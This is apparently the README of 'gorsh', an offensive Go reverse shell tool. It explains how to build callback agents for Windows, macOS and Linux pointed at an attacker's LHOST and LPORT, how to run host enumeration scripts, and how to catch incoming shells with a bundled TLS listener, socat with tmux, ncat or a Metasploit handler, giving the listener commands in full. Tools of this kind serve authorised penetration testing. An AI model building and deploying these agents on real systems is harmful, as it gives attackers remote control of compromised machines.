[go]lang [r]everse [sh]ell
Originally forked from - sysdream/hershell
Requires go1.11+
See the Changelog
git clone git@github.com:audibleblink/gorsh.git
cd gorsh
go get -u github.com/gobuffalo/packr/packr
Be sure to read the Makefile. It gives you a good idea of what's going on.
Using the zstd build tag and windll make target require cgo. Make sure you're familiar with cross-compilation and cgo and have the toolchains for it, or read here if you're feeling adventurous.
First, generate your certs and ssh keys for the reverse proxy.
$ make depends
Follow the make command's printed instructions on creating an ssh user for the reverse proxy connection.
Create configs/ssh.json
. There's an example json file the configs
directory.
Generate agents with:
# For the `make` targets, you only need the`LHOST`and`LPORT`environment variables.
$ make {windows,macos,linux}{32,64} LHOST=example.com LPORT=443
The enum
command will present a selection dialog that allows once to run enumeration scripts based
on the host OS. You can update scripts in scripts/prepare_enum_scripts.sh
and run
make enumscripts
. Addition of scripts will require modification of
./internal/enum/enum_{windows,linux}.go
This project ships with a server that catches the reverse shell and still provides shell-like capabilities you lose with traditional reverse shells, including:
- Tab Completion
- Vi-mode readline editing
- History
- Cursor movements
Generate the server with:
make server
build/srv/gorsh-listen --help
The gorsh-listener is a one-to-one relationship, like a traditional shell. For multiple shells, you need to start multiple servers on different ports.
To have the ability to receive multiple shells on the same port, there's the make listen
target.
The make listen
target kicks off a socat TLS pipe and creates new tmux windows with each new
incoming connection. Feed it a port number as PORT.
socat
is essentially acting as a TLS-terminating reverse proxy. The incoming connections are then
handed off to gorsh-listener through randomly generated Unix Domain Sockets.
make listen PORT=8080
# once a client connects, on a different terminal type:
tmux attach -t GORSH
Shells can also be caught without tmux or gorsh-listen using:
- socat (not working on macos)
- ncat
- openssl server module
- metasploit multi handler (with a
python/shell_reverse_tcp_ssl
payload)
Examples
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
$ socat stdio OPENSSL-LISTEN:443,cert=server.pem,key=server.key,verify=0
- Initial Work - @lesnuages
- Modifications - f47h3r - @f47h3r_b0
- @mzpqnxow for figuring out my x-compilation and dependancy problems and troubleshooting guide
- Enumeration scripts courtesy of @411hall @harmj0y @rebootuser